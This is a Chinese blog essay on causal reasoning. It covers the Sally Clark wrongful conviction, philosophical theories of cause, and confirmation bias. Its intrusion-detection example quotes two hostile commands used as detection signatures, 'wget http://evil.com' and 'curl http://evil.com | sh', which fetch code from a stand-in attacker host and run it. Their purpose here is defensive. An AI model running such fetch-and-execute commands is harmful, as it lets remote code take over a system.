1. 程式人生 > >關於因果性的討論,什麼是因果推理、以及因果推理和法律和心理學方面的聯絡

關於因果性的討論,什麼是因果推理、以及因果推理和法律和心理學方面的聯絡

1. 引言,這次談談因果

0x1:從一個法律誤判案件看了解因果關係和因果推理的重要性

1999年,一個名叫Sally Clark的英國律師被法庭判定謀殺了她的兩個孩子。

原因是,1996年12月,她的第一個兒子在11周大的時候突然死亡,就在第一個孩子夭折一年多以後,Clark的第二個兒子又在 8周大的時候似然了。在這兩個案件中,兩個孩子似乎都沒有什麼生理上的疾病。於是,他們的突然死亡引起了人們的懷疑。

現在擺在英國檢方面前的可能有兩種:

  • 這個家庭的兩個孩子都死於嬰兒猝死綜合徵(SIDS)
  • 該母親謀殺了自己的兩個孩子

當時檢方分析了這個案情,對可能的原因進行了以下的推論過程:

  • 兩起死亡案件有很多共同之處,
    • 孩子們死的年齡差不多
    • 他們的死都是由 Clark 發現的,當時家裡只有 Clark 和孩子在一起
    • 驗屍報告上表明兩個孩子身上都有傷
  • 嬰兒猝死綜合徵(SIDS)是一個小概率事件(約為1/8543),在同一個家庭的兩個嬰兒都死於嬰兒猝死綜合徵的概率幾乎為零(大約為1/7300萬)。

最後檢方判定該母親謀殺罪名成立,檢方的理由是,兩起死亡一定有背後原因,將所有的2個原因都列出後,一個原因的可能性幾乎為零,所以一定就是另一個原因。最終造成了這樁著名的冤案。

統計學家和因果關係研究者都知道這個案例,其主要原因在於,檢方的論據本質上基於這樣的邏輯:被告的辯詞幾乎不可能為真,所以一定是假的。即所謂的疑罪從有。

現在案情講完了,我們來逐層解剖分析一下這個導致這個冤案的原因是什麼。

  • 首先,從技術層面上來看,這個統計結果的計算方式就存在問題。同一個家庭兩個嬰兒都死於SIDS的概率不能簡單地直接將單個原子事件的概率相乘,它直接不加研究地就假定這些事件都相互獨立的。但在這裡,引發SIDS的原因還不確定,也許和孩子所處的環境有關(比如家裡是否有人吸菸和飲酒)。這意味著,如果一個家庭發生過一起SIDS,那麼這個家庭發生第二起SIDS的概率就會遠大於1/8543,因為這些孩子的生活環境和遺傳基因都是相同的。也就說,第一起死亡事件會透露第二起死亡事件發生的概率,這在資訊理論中就是互資訊的概念。
  • 不過此案的問題不僅僅是誤算概率那麼簡單。在整個案件中,檢方試圖將事件(兩起SIDS死亡事件)發生的1/7300w的概率等同於 Clark 無罪的概率。這種錯誤的推理將事件發生的概率當成了被告有罪或者無罪的概率,這就是我們所說的檢察官謬誤。

那檢察官謬誤的關鍵問題在哪裡呢?

我們知道,無論一件事發生的概率有多低,只要嘗試的次數足夠多,最後一定會發生。

Clark 一案中,那個誤算出來的極低的概率(1/7300w)比中博彩的概率(1/2億五千萬)還要高3倍多。一個人中大獎的概率是極低的,但是如果我們說某個地方的某個人會中大獎,這個概率又如何呢?那就高的多了。

這就說明,僅通過概率來判斷一個人的清白一定會導致一些冤案。這是因為雖然對某個特定的家庭來說,發生這件事的可能性很小,但是世界上有兩個孩子的家庭有上百萬個,這種事件總會在某個地方的某個家庭發生。對單個特定家庭來說是小概率事件,對整個群體集來說就成為大概率事件了。

抽象來看,這個冤案最根本的原因是,此案試圖用一個事件發生的概率來支撐某個特定的因果結論。

生活中經常有這樣的推理:

  • 公司來了一名新員工,而同一天你的訂書機不見了
  • 一名巫師知道你最喜歡的字母是M
  • 兩名重要認證記得那名嫌犯穿的是一件紅色法蘭絨襯衫

但是,如果因某件事情不太可能發生,而說其唯一合理的解釋就是因果關係,那一定是錯誤的。

 

2. 何為原因

0x1:”原因“的定義的理論發展歷史

”原因“一詞一般是指:它使某種結果更有可能出現,並且沒有它某種結果就不會出現或者無法出現,或者說它能夠在適當的環境下產生某種結果。

”原因“最早的一種定義來自亞里士多德,他認為原因是用來回答”為什麼“的。

亞里士多德認為,很多時候如果我們問為什麼某件事是這樣的,人們的回答並不是在回答真正的原因,例如,

  • 人們可能會解釋這個現象是如何產生的,比如:水加熱後會產生蒸汽
  • 這個事物的成分是什麼,比如:氫氣和氧氣的結合會形成原
  • 這個事物是什麼樣的,比如:椅子的本質就是高出地面的、有靠背的、用來讓人坐的東西
  • 或者為什麼要做這件事,比如:疫苗是用來預防疾病的

然而,在尋找原因的時候,我們想了解的是為什麼發生的是這件事,而不是那件事。

在亞里士多德之後還出現了其他里程碑式的成就,比如13世紀阿奎那的貢獻,然後真正的巨大飛躍卻發生在文藝復興末期的科學革命時期。在這個時期,伽利略、牛頓、洛克等人取得了巨大成就。

但是真正為當今因果關係思維和尋找因果關係的方法論奠定基礎的是18世紀的大衛.休謨,它以一種批判性的方式重新定義了這個問題。

休謨不單單提出了”是什麼使得某事成為了原因“,而是將這一問題一分為二:

  • 何為原因?
  • 如何才能找到原因?

更重要的是,休謨沒有去尋找能夠區別原因與非原因的特徵,而是從本質上將二者的關係提煉成了經常性事件。也就說,我們通過經常性地觀察事件發生的規律來了解因果關係,而且也只能通過經歷這些有規律的事件來了解原因。

但後來的發展證明休謨的觀點有一些重大的理論問題,例如:

  • 蚊蟲叮咬是傳染瘧疾的必要前提
  • 但春季冰淇淋小販的突增卻不是天氣變暖的必要前提

顯然,對上面的例子,我們無法僅通過觀察就找出經常性事件(天氣與冰淇淋小販)與必要性事件(蚊子與瘧疾)之間的差異。只有在出現反例時,比如天氣已經變暖,而冰淇淋攤位並沒有增加,我們才能瞭解到冰淇淋小販並不是氣溫變化的必要條件。

在休謨的觀點中,原因在時間上早於結果,還要求原因和結果在時間和空間上的距離都要相近(相鄰)。如果它們在時間和空間上相差太遠,那我們將很難發現它們之間的因果關係,因為很多其他因素可能會參雜其中並對結果產生影響。

假設一個朋友借用了你家的咖啡機,在她歸還後的第三個月你發現機器壞了,這時你就很難將責任歸咎於你的朋友。但如果她歸還機器的時候你就發現機器壞了,那就很容易將責任歸咎於她了。

但事實上,由於觀測手段等原因,存在著一些原因並沒有發生在結果之前發生的情況(從觀測意義上的),例如開槍時,我們先看到槍火,然後才聽到巨大的響聲。因為我們總是先看到槍火,再聽到槍聲,所以可能會認為是槍火引起了槍聲,但實際上槍火和槍聲都是開槍引起的。只有研究了這兩個事件發生的共同原因,我們才能理解這種規律性。

休謨要求原因和結果在時空上具有鄰近性,然而有些因果關係卻不符合這一要求,比如:

  • 某種因素的缺乏會導致某種結果,就像缺乏維生素C會導致壞血病
  • 某些心理狀態(如信念或意圖)作為原因,和導致的結果之間沒有物理上的聯絡,比如:
    • 學生做作業可能是為了得高分,但是這種得高分的慾望和做作業的行為之間沒有物理上的聯絡
  • 有一些時間跨度上很長的因果事件,比如:
    • 因環境因素而導致的健康問題

按照休謨的理論,如果我們多次在看到有人按蜂鳴器之後聽到聲響(經常性的聯絡),就會由此推斷按蜂鳴器會導致這種聲響。之所以如此推斷,是因為我們看到人的手指接觸到了(空間鄰近性)按鈕,而接觸到按鈕的行為發生在聲響之前(時序性),而且在手指接觸按鈕後幾乎立即(時間鄰近性)產生了聲響。

相反,如果這兩件事之間有很長的延遲,或者這兩件事同時發生,或者蜂鳴器並不是每次都會發出聲響,那我們就不能做此推斷了。

值得注意的是,並不是所有人都贊長休謨的觀點,尤其是康德。康德不贊成休謨把因果關係簡化為規律,他認為必然性是因果關係的基本特徵,而且由於我們無法憑經驗推理出事物之間的必然聯絡,也就無法通過觀察歸納出事件發生的原因。相反,他認為我們可以用一種先驗知識去闡釋我們所觀察到的因果關係。

儘管大部分有關因果關係的定義都是基於休謨的理論建立的,但是沒有任何一個定義能夠包含所有可能出現的情況,每一個定義都有其他定義所沒有的情況。比如說:

  • 某種藥物可能只會在個別患者身上出現副作用,所以我們不能假定某個原因必然會產生某種結果
  • 安全帶一般可以防止交通事故中的死亡事件,但在有些情況下卻可能會引發死亡事件,所以我們需要想到有些因素在不同環境下可能會產生不同的結果

這個問題可以被歸結為:我們應該將原因視為這個世界的基石或原始力量,還是我們強加給事物的一種結構? 

因果關係在日常生活如此重要,但在哲學上卻沒有一個公認的關於因果關係的理論,也沒有什麼萬無一失的計算方法能幫助我們準確找到因果關係,這讓人有點驚訝。但更棘手的是,由於人們對”原因“的定義不同,所以同一情況下,人們可能會將不同的因素視為事件發生的原因。比如:

鮑勃遭遇了搶劫,而且劫匪想要殺人滅口,但在搶劫的過程中,鮑勃心臟病突發,隨後死亡,

  • 我們可以將鮑勃的死因歸咎於生理機制(心臟病發作),並進一步追溯到心臟病的根源,遺傳基因,這種基因大大增加了心臟病突然致死的概率
  • 或者將鮑勃的死因歸咎於搶劫事件,因為如果沒有遭遇搶劫,鮑勃的心臟病就不會發作

這兩種死因都解釋得通,我們無法立即搞清楚哪個解釋更合理,或者它們只是對一個事件的兩種分析。又或者,也許是心臟病發作和搶劫事件共同導致了鮑勃的死亡,這兩個事件的影響是不可分割的。

 

3. 為什麼需要原因

原因難以界定又不易尋找,那麼它們對我們究竟有什麼好處呢?我們又為什麼需要它們呢?有三件很重要的事只有在清楚原因的情況下才能做到,或者說做好,

  • 預測
  • 解釋
  • 干預

0x1:預測

首先,假設我們想要預測誰會贏得美國總統大選。專家們找到了各種規律,比如:

  • 共和黨人必須贏得俄亥俄州的選票才能贏得大選
  • 自富蘭克林.羅斯福之後,沒有任何一位總統能夠在失業率超過7.2%時獲得連任
  • 美國從來沒有女性總統

然而這些僅僅是基於目前已知的很小的資料集上得到的簡單規律而已,我們可以從歷任總統的資料上得到很多這類規律,但是我們無法從中得到他們為什麼會贏得大選,

  • 人們是根據失業率投票的嗎?
  • 還是說失業率只是間接反映了國家形勢和經濟狀況,暗示人們在失業率高的時候要尋求變革?
  • 更糟糕的是,由於資料量太小,美國曆史上只有44位總統,其中連任的總統還不到一半,像沒有女性總統這種規律就完全沒有參考價值可言的

這就是所謂的在小樣本集下,概率分佈是有偏的問題。

這就是黑盒問題:我們把資料輸入黑盒子,然後從中得出一些預測,但是黑盒子不會對這些預測做出任何解釋,也不會告訴我們這些預測為什麼值得信賴。如果我們不知道這些預測為何會成真,也就無法預測它們未來可能的失敗。

反之,只有洞察了真正的原因,我們才能對未來進行有效地預測。如果我們知道俄亥俄州能夠”決定“一場大選的原因是這個州的人口特徵十分具有代表性,而且這個州從來不屬於某一個政黨,那麼我們就能由此預測。如果由於移民人口導致俄亥俄州的人口組成發生了巨大變化,那麼之前的預測(它對大選有決定性作用)也就不復存在了。如果這周州這是反映了全國總體趨勢的一個間接指標,那還可以通過全國民意調查來獲得更直接、更準確的預測。一般來說,與相關性相比,原因能夠為我們提供更為可靠的方法來預測事件的結果。

上述討論可以用如下的邏輯關係圖來簡化表示:

某區域人口結果 ->(決定)-> 某地區的選票結果 ->(反映總體趨勢)-> 全國的總體選票結果

0x2:解釋

我們想知道為什麼有些事情是相互關聯的。

  • 視力模糊和體重下降之間有什麼聯絡?如果只知道這兩個症狀經常相伴出現,是無法得出更多資訊的。只有找到導致這二者的共同原因,糖尿病,我們才能理解它們之間的關聯。
  • 有很多”食用紅肉的人群死亡率更高“的研究,但如果你不知道其中的原因,那麼這些資訊就是不可用的。也許吃紅肉的人喜歡飲酒或不愛運動,這些都是影響死亡率的因素。而且,即便死亡率的升高真的是紅肉引起的,那也要根據具體情況來決定用何種方法來降低這種風險。如果死亡率的升高是不衛生的燒烤方式造成的,那我們可以換一種烹調方法,如果是吃紅肉本身引起的,那我們就只能讓自己成為素食主義者了

有些時候,我們要去解釋一些事件發生的原因,例如:

  • 你上班為什麼遲到了?
  • 某人為什麼生病了?
  • 為什麼一個國家入侵了另一個國家?

在這些情況下,我們想知道是誰或者什麼因素引發了某個事件,我們可能會得到一些表面結論,但可能並不是這些事件發生的真正原因,正如我們在第二章對原因的定義所說的。

  • 遲到與交通有關:某個現象發生的原因
  • 隨著年齡的增長,人們會患上各種疾病:某個現象發生的原因
  • 很多戰爭都是由於人們在意識形態上存在分歧:為什麼要做這件事

找到事件的根源很重要,它不但會影響政策的制定與責任的歸屬,還會影響人們對某件事的反應。

0x3:干預

因果關係最重要的用途是可以用來干預某些事情的發生。我們不僅想知道某些事情為什麼會發生,更想利用這些資訊來預防或促成某些結果的產生。例如:

  • 我們想知道如何通過改變飲食習慣來改善身體的健康狀況。需要複用維生素嗎?需要堅持吃素嗎?還是要戒掉碳水?
  • 我們想要評估已經採取的干預措施是否有效,紐約市在釋出事物的卡路里值後,是否改善了市民的健康狀態?
  • 我們想要預測將來可能會採取的干預措施的效果,比如減少快餐中的納含量,會出現什麼情況?

政府部門必須知道他們的政策會對民眾產生什麼樣的影響,並且必須制定出能滿足民眾需求的政策。

比如,研究人員發現含鈉量高的食物與肥胖真有關。於是,立法人員決定頒佈一項法案,旨在減少餐廳食物和包裝食品的含鈉量。 

但是,如果含鈉量和肥胖症之間的唯一聯絡是,高熱量的快餐食品導致了肥胖症,而這些食品正好含鈉量高,那麼這項方案將不會起到任何作用。因為人們依然會購買快餐,而快餐才是一開始就應該關注的問題。

筆者舉例:

又比如,當遭受到某個惡性計算機病毒入侵時,伺服器在會短時間內(常常是10s內)啟發大量的新程序,並伴隨著大量的程序寫檔案及網路外連行為。但我們可以據此就判斷說,當我們觀測到當某個時間視窗內,發現有大量的程序啟動、網路外連、程序寫檔案的時候,就一定意味著該伺服器當前正在後者已經遭受惡意病毒的攻擊了嗎?

顯然這種預測模型就是錯的!那做出這種錯誤的預測的原因是什麼呢?

問題的根源在於:伺服器所表現出的程序和網路異常行為並不是伺服器遭到入侵的原因,計算機病毒的植入和啟動才是,同時,程序和網路的異常行為是因為計算機病毒入侵而引發的。程序和網路的異常行為和伺服器被入侵只是協同出現了而已。

計算機病毒入侵 ->(引發)-> 程序、網路異常行為(可觀測現象) / 伺服器遭到入侵(某種結果)

接下來的問題是,我們是否可以基於觀測到的程序、網路異常行為來判定伺服器當前遭受到了入侵?答案是否定的,或者說是要存疑的。

也許程序、網路異常行為對伺服器入侵存在一定概率上的預測成功率(98%),這是因為這兩件事存在著一定程度上的相關性。也許從工程上來看,這個結果還不錯,如果對精確度要求不是那麼高的話,這個模型也許可以上線,然後在日常執行中會偶爾遇到一些誤報。

但是從嚴謹的因果推理角度來說,這個模型是完全不合理的!因為其他的原因也同樣會引發程序、網路異常行為,例如

  • gcc編譯原始碼的時候,在短時間內會有大量的程序建立和程序寫檔案行為
  • 系統在進行軟體升級的時候,在短時間內會有大量的程序寫檔案和網路外連行為

一旦發生這些現象,基於上面模型進行了入侵檢測就會遇到所謂的誤報,這種誤報不是簡單的說【資料質量有問題】、【特徵工程不夠精準】、【缺少專家經驗】這麼簡單。而在於一開始,模型開發者就沒有遵循因果推理的基本原因,將一個非原因的觀測量視作原因構建預測模型,這樣得到的結果一般來說就是不可預測的,就算獲得98%的驗證結果也只能是暫時運氣好,一旦遇到黑天鵝事件,就會引發大量的誤報。

正確的做法是,基於計算機病毒檢測來判斷當前伺服器是否遭到了入侵,只有基於準確原因的預測模型,才不會遭遇到所謂的黑天鵝誤報事件。

筆者舉例:

又比如網路安全的另一個熱門領域,入侵檢測。從一般上來,入侵檢測中的因果關係鏈如下:

黑客利用伺服器的某個漏洞並植入了惡意指令 ->(引發)-> 伺服器上啟動了一系列異常指令(現象) ->(伴隨)-> 伺服器遭受到入侵

網路安全工程師常常會基於特徵檢測的思想,從觀測資料中抽象出一些黑客常用惡意指令的模式(例如正則),

  • wget http://evil.com
  • curl http://evil.com | sh

這些指令(信標)在多數情況下可以指示伺服器遭到了入侵,但是不可避免地會在某些時候遇到所謂的”誤報問題“,大多數是由於管理自己操作或者某個合法軟體進行遠端軟體升級時,也同樣觸發了這些指令,即:

管理員操作、或軟體遠端升級 ->(引發)-> 伺服器上啟動了一系列異常指令(現象) 

這個問題的背後本質就是我們上面的說的,因果關係尋找不準確問題,引發伺服器入侵的真正原因是黑客的入侵,發現”所謂惡意指令的執行“只是因為黑客入侵的一個結果,而這個結果同時又是伴隨著伺服器入侵這個結果一起出現的,”惡意指令執行“和”伺服器遭到入侵“是協同發生的兩個結果。

對於這個困局,解決或者緩解的方法是什麼呢?簡單來說就是,減少目標原因和非目標之間的交集。

我們用集合論的視角來理解這個原理,

如果我們能通過演算法、模型優化、或者改變資料採集的渠道和方式,找到一個”僅限於黑客人入侵會執行的異常指令集合“(現象子集),則這個現象子集和黑客入侵這個原因是完全一一對應的,而且和管理員正常操作等其他原因沒有任何聯絡。那麼這樣得到的預測模型就是沒有誤報的。

基於這樣的分析,入侵檢測就變成了一個模型優化的問題,我們只要對能夠對黑特徵模式進行有效的優化(正則優化、或者基於更長的行為序列進行分析),即使無法遵循因果推理,也能基於相關性推理完成入侵檢測。

但在實際的工程實踐中,上述集合圖往往是理想模型,大部分時候,黑客入侵和管理員正常操作者兩個原因是混雜在一起的,很難完全找到明確的分界線。這就導致這兩個原因對應的可疑指令也存在判斷的盲區,我們基於可疑指令,很難100%說沒有誤報。在工程中,很多時候我們都是取一個可接受的平衡點,在效果和精確度之間尋找最佳平衡。

筆者總結:

我們必須保證我們的干預措施針對的是真正影響結果的原因。如果我們只干預了一些與結果相關的因素,那這樣的干預措施是不會有效果的。

 

4. 如何尋找原因

0x1:尋找因果關係的理論框架

自休謨以來,因果關係研究領域所面臨的主要問題是:我們該如何區分包含因果關係的事件和不含因果關係的事件。

20世紀六七十年代出現了三種主要的研究方法,都建立在休謨的理論基礎之上,

  • 單一的原因不太可能引起某種結果,所以 John L. Mackie 提出了一個理論,他認為某種結果的產生是由一系列條件共同導致的。這一理論很好得為我們排除了不包含因果關係的事件,並且解釋了原因的複雜性。
  • 類似地,許多因果關係都包含偶然性因素,在這類情況下,原因可能只是提高了某種結果出現的可能性,但並不保證它一定會出現。針對這一特徵,Patrick Supper 及其他研究者們提出了概率法。
  • 休謨的理論還促成了反事實推理法(類似數學上的歸謬法),即通過假設導致某件事的原因不存在,事情的發展會有何不同,從而來界定這一事件發生的原因。比如說,某個人是贏得一場比賽的主要原因,因果如果沒有他,這場比賽就不會贏

哲學上的這些方法似乎已經脫離了尋找因果關係的計算方法,但這些不同的因果思維卻能為我們提供許多方法去尋找因果關係的證據。

對於電腦科學家來說,人工智慧的夢想之一就是實現自動推理,要做到這一點,關鍵之一在於找到事件發生的各種原因,並利用它們來形成各種解釋。

這項工作在現實中得到了廣泛的應用,例如:

  • 機器人的生產,機器人需要使用現實世界的各種模型來計劃自己的行為,並預測這些行為的結果
  • 廣告宣傳,亞馬遜如果知道你在點選”現在購買“按鈕的原因,就能向你推薦更適合你的商品
  • 醫療服務,重症監護病房裡的患者的身體狀況突然發生變化時,會向醫生髮出警報
  • 網路安全入侵檢測,安全專家如果能知道伺服器遭到入侵的真實原因指標,就可以開發出更精準的檢測模型

對於上述問題,要想制定出演算法(解決問題的一系列步驟),我們需要對問題進行精準的描述。要想設計出能夠找到原因的計算機程式,我們需要對原因進行定義。

0x2:概率圖模型,一種尋找因果關係的理論方法

20世紀80年代,以 Judea Pearl 為首的電腦科學家們向人們證實了,以概率來定義因果關係的哲學理論可以用圖表來表示。這些圖表可以向人們直觀地呈現出事件之間的因果關係,併為人們提供了針對不同變數之間的數學關係進行編碼的方法。這就是概率圖模型。

更為重要的是,他們還引入了一些根據先驗知識來構建圖表以及從資料中尋找它們的方法。

在過去的幾十年中,科學家們設計了一些能夠自動從資料中尋找解釋的方法,以及測試這些解釋是否符合實際。儘管這些方法取得了一定的成功,但是依然面臨著許多挑戰,尤其是我們對資料的依賴程度已經越來越高。

我們現在所面臨的不是那些為了研究而精心挑選出來的資料集,而是海量的、不明確的、根據觀察得到的資料。

想象我們正面臨這樣一個簡單的問題:根據facebook資料瞭解人們的人際關係。這裡面存在的困難是,

  • 並不是所有人都使用facebook,所以我們只能通過facebook研究一部分人的人際關係。這部分人也許並不能代表所有人,也不能代表你感興趣的某一類人
  • 人們使用facebook的方式也不盡相同,有些人從來不會顯示他們的人際關係,有些人可能會顯示虛假的人際關係,還有些人可能不會及時更新他們的個人資訊

0x3:因果關係尋找方法面臨的挑戰

在因果推理中,尚未解決的關鍵問題包括:從不明確的或缺少變數和未經觀察的資料中尋找事件的原因,尋找事件之間的複雜關係,以及尋找偶發事件的原因和結果。比如:

  • 如果我們沒有觀察吸菸這個變數,是否會錯誤地把其他因素當作引起肺癌的原因
  • 某件事的結果是一系列事件,而非單個原因導致的
  • 是什麼導致了2010年股市的閃電崩盤

 

5. 因果關係的心理學視角

談完了因果關係抽象哲學上的一些的定義,接下來我們來拉近視角,從具體的行為科學角度看看因果關係,這一章我們將資訊學視角下的因果關係。筆者認為之所以要談因果關係,是因為因果分析不僅僅是冰冷的資料分析,它更常見的形式是我們每個人對身邊和現實世界的感知,是非常具體的一件件事。

0x1:人們產生因果謬誤的心理學現象

真相只有一個,人們都想知道真相,但是人們看到的,不過是自己想要的真相。   舉一個好玩的故事為例: 張三買了幅畫,想掛起來。 他有釘子,但沒有錘子。 鄰居有,但他不知道鄰居是否願借。 於是他腦中便開始閃現鄰居的種種片段:
  • 比如他每次買菜,都錙銖必較。
  • 比如他遇到乞丐,經常不給錢。

種種印象,都指向一個答案——品行不好。 “這樣品行的人,怎麼會借我錘子呢?”

然後,張三繼續開始臆想:

  • “他怎麼能拒絕幫別人這麼點小忙呢?”
  • “而他還自以為我依賴他,因為他有錘子!”

張三越想越生氣,越想越憤怒。 立馬跑出門,按響了鄰居門鈴。 鄰居開門,還沒來得及說“早安”, 就迎來了張三莫名其妙的謾罵: “留著錘子給自己用吧,你這個惡棍!”

在生活裡,尤其是網際網路匿名制的社會裡,我們常常和張三一樣,憑藉“我覺得”“我認為”“我臆想”,然後去揣測別人的心思或事情的真相,從而變成了可怕的“鍵盤俠”和“道德綁架者”。

另一個關於心理學家福勒的實驗也可以很好說明這個現象。

福勒找來一批相信星座的人, 讓他們做了一套性格測試題。 然後福勒給每個人做了個分析報告。

測試者約翰收到的報告是這樣的: 你對自己的要求很高,希望別人能夠認可你喜歡你。 你尚有很大發展空間,只是並未挖掘這些潛力將其轉化為優勢。 你外表看上去雖然能剋制自律,但內心卻充滿憂慮和不安全感。 你喜歡變化和多樣的生活,受到約束和限制時會非常不滿。 有時候你外向、可親且樂於交際,有時候卻內向、謹慎而有所保留。 ………… 約翰給報告打了5分:“和我太像了。”

而事實上,每個測試者收到的報告都是一樣的。 但絕大部分人都像約翰一樣覺得“和我太像了”。

為什麼會這樣呢? 福勒說:如果一個人信星座,那麼他就會只留意那些符合自己的診斷,而忽略掉不吻合的資訊。

這個現象在工作職場中也非常常見,當某個員工在立項之後,開始在某些專案上投入大量的時間和精力進行研發,它會更加關注和這個專案有關的任何技術新聞與先關問題,而選擇性忽略那些與此無關的事情。時間久後,這名員工就會不由自主產生一種心態,自己負責的這塊領域是非常重要的一塊業務領域,而其他的領域都不如自己這塊領域重要。這就很容易導致眼界被鎖死在當下的業務領域中,沒法從根源和全盤角度來看問題,甚至忽視真正的重要領域而不自知。

後來,多位心理學家也做了類似實驗, 然後總結出一個心理現象——確認偏誤。

什麼是確認偏誤?

就是如果你一旦相信一個東西了,就會尋找支援自己理論或假設的證據,選擇性的注意和收集資訊(排斥其他不利資訊),並按照支援自己的想法或邏輯來解讀獲取的資訊,從而推匯出一個符合自己意願的事實或真相。其實這個事實或真相是武斷的、片面的,所以心理學家稱之為“確認偏誤”。

確認偏誤會引發人性的兩大弱點。

  • 第一個人性弱點:每個人只能看見自己想看見的世界。
  • 第二個人性弱點:以自己看見的世界來想象別人。

1. 第一個人性弱點:每個人只能看見自己想看見的世界

 

觀察上面這張圖片, 你覺得圖中間的字元是B還是13?

  • 很多人說:當然是B了。 “因為左面是A,後面是C。”,這部分人是從左到右看的
  • 很多人說:當然是13了。 “因為上面是12,下面是14。”,這部分人是從上到下看的

心理學家麥基說:“當一個人內心充滿某種情緒或想法時,心裡就會帶上強烈的個人偏好暗示,繼而就會去現實中搜尋相關資訊,最終形成一種“真是如此”心理定勢。”

每個人都只能看見自己想看見的世界,每個人看見的世界也只是自己內心的世界。

2. 第二個人性弱點:以自己看見的世界來想象別人

我們都學過《智子疑鄰》的故事:

宋國有一個富人, 天下大雨,把他家的牆給沖壞了。 富人兒子說:“不趕緊修,可能會遭小偷。” 結果當晚,富人家斧子不見了。

富人兒子懷疑是隔壁鄰居偷的, 於是他悄悄觀察鄰居的一舉一動: “怎麼看怎麼都覺得他像小偷。”

可過了幾天,富人把斧子找到了。 富人兒子再觀察鄰居時, “怎麼看怎麼都不覺得他像小偷。”

由此可見,我們想要的真相, 不過是合乎我們自己口味的真相。 我們只相信自己願意相信的東西, 而根本不在乎真相。所以伽達默爾說:“所有的客觀都是主觀,所有的意見都是偏見。” 我們每個人都是潛在的“鍵盤俠”。

人們對原因的認知是由他們對現實的感知、基於經驗的推理以及已有的知識組成的。

物理學告訴我們:你過你擊打一個球,它就會開始滾動。但如果你之前瞭解的知識是地球一個平面,或者某種巫術能把物體從房間的這頭移動到那頭,那麼你就可能對臺球的運動原理做出不同的預測和解釋。

本章將討論我們對因果關係的認知是如何隨著時間的變化而發生變化的,以及我們是如何通過對世界的觀察和與世界的互動來把握事件發生的原因的。我們將會研究影響因果關係判斷的社會因素和文化因素。

0x2:原因尋找與使用的心理學機制

考慮一些生活中常見卻很容易遭到忽視的問題,我們是怎麼發現開關燈就會亮的?我們是怎麼知道是先開槍然後發出的聲音,而不是先有聲音後開槍的?

因果關係的學習主要包括兩點:

  • 感知(對因果關係的直接體驗)
  • 推理(對不含因果關係的資訊中進行推斷)

1. 感知

當我們在感知因果關係時,並不是要通過模式識別的方式將我們所觀察到的內容與先前的知識相聯絡,而是要去親身體驗這種關係。

  • 當看到一塊磚頭飛進窗戶
  • 一個檯球被另一個檯球撞擊後開始滾動
  • 一根火柴點燃了蠟燭

我們會根據這些感官輸入而感覺到事件間的因果關係。

但是相反的,像食物中毒、戰爭和身體健康等現象就無法通過觀察而直接感知到它們發生的原因,它必須通過其他方法來進行推理。

感知理論認為,人的大腦中存在某種程式,可以接受外界輸入的資訊並將這些資訊分成有因果關係和沒有因果關係的,而不是通過其他線索來尋找事件發生的原因。

進一步的,通過對腦裂者的認知研究,科學家發現感知活動可以獨立於推理活動而發生。

另一方面,科學家也發現了感知機制存在的問題,在情景簡單的研究中,成年人對自身因果關係感知能力的信任可能會導致他們做出錯誤的判斷。

  • 如果你聽到一聲巨響,然後看到房間的燈滅了,你就可能認為這兩件事是有聯絡的,但其實是有人在發生巨響的時候正好關了燈,事件發生的時間以及空間上的鄰近性等因素會導致人們錯誤地感知因果關係,從而做出錯誤的因果關係判斷
  • 我們常聽說有人在打了疫苗的當天就出現了類似流感的症狀,於是有人認為是流感疫苗引起了這些症狀。

2. 推理與論證

人們對因果關係的學習,另一條途徑是推理與論證。
  • 當試圖搞清楚車子為什麼會發出奇怪的噪聲
  • 或者推斷傍晚喝的咖啡導致晚上睡不著覺時

我們無法直接感知到汽車熱度和剎車發出噪聲的關係,也無法直接感知到咖啡中的興奮因子是如何影響神經系統的。

相反,我們需要用到另外兩種型別的資訊:

  • 關於剎車系統工作原理的機械知識
  • 咖啡因的化學特性,以及它是如何影響大腦神經系統的資訊傳導機制

有兩種推理方法是互補的:

  • 一種是利用協同變化法(事件共同發生的頻率)
    • 例如當剎車片溫度超過100度的時候,常常會伴隨制動系統發出叮叮的聲音
  • 一種是運用廣義機械知識(某個原因是如何引起某種結果的)
    • 咖啡因的分子化學特性
    • 神經元資訊傳導的物理特性

廣義機械知識的尋找往往是十分困難的,這有賴於人類科學共同體對科學前沿的不斷探索,在當下的時代中,有許多原因是無法找到一個精確的物理描述公式的,例如鳥類可以飛翔的物理學原理到現在也沒有被完全搞明白。

下面我們介紹一些推理論證方法。

1)關聯法

在實際的科研工作中,即便我們完全不瞭解某個原因的作用原理,也可以通過觀察原因和結果共同出現的頻率來獲取一些認知(關聯)。這種使用間接資訊來尋找原因的過程叫作因果推理。

進行因果推理的方法有很多,但重點是我們不能直接感受到因果關係,而是要通過資料和背景知識來推斷因果關係。

心理學有一個經典的因果推理任務:給參與者展示一系列事件,然後讓參與者完成一系列任務,比如:

  • 說出是什麼原因導致了某種結果,比如
    • 某種聲音或螢幕上的某種視覺效果
  • 判斷是否(或者在多大程度上)是某一個事件導致了另一個事件,比如
    • 讓參與者通過一系列觀察來判斷是否是某一個開關點亮了某一盞燈

研究者試圖通過改變不同的變數,希望以此來探究影響人們推理因果關係的因素,比如

  • 原因和結果之間的時間延遲
  • 原因和結果之間在空間上的距離
  • 參與者是否與系統進行了互動
  • 因果關係的強度等
  • 人們對結果的預期
    • 比如5歲的兒童在實驗中會相信一個實際上不可能發生的事件是由魔法引起的,但9歲的兒童和成人則會意識到這不過是魔術而已

休謨對因果推理中的關聯法的本質的定義為:如果人們經常看到一些事件同時發生,就會假設它們之間存在因果關係。人類在做出這一假設時依據的案例數量比計算程式依據的數量少得多。但隨著手中的資料越來越多,我們也會修正自己的觀念。這就是所謂的貝葉斯推理過程。

例如,當你穿了一雙新球鞋並連踢進兩個球時,你可能會覺得是新球鞋讓你表現得如此出色,但在之後的十場球中你卻一球未進,這時你可能就會重新思考之前在新鞋與踢球水平之間建立的聯絡。

但是,如果關聯法是我們進行推理論證的唯一方法,那我們要怎樣區分事件中共同的原因和共同的結果呢?

比如人們會因為失眠而去看電視、吃零食。同時,看電視、吃零食又會導致失眠。

解決這種問題的方法被稱為反向阻斷法,這種推理方法的思路是,如果在兩個因素都存在的情況下出現了某種結果,在只有第一個因素存在的情況下也出現了同樣的結果,那麼在沒有見到阻斷第二個因素所帶來的影響的情況下,我們可以推理出第二個因素可能不是導致這種結果的原因。

在現實生活中,如果我既喝咖啡又吃餅乾,然後我大部分時候自己都經歷充沛,而如果我只喝咖啡,大部分時候也會覺得自己精力充沛,那麼我就可以推斷出餅乾並不影響我的精力是否充沛。

筆者插入:

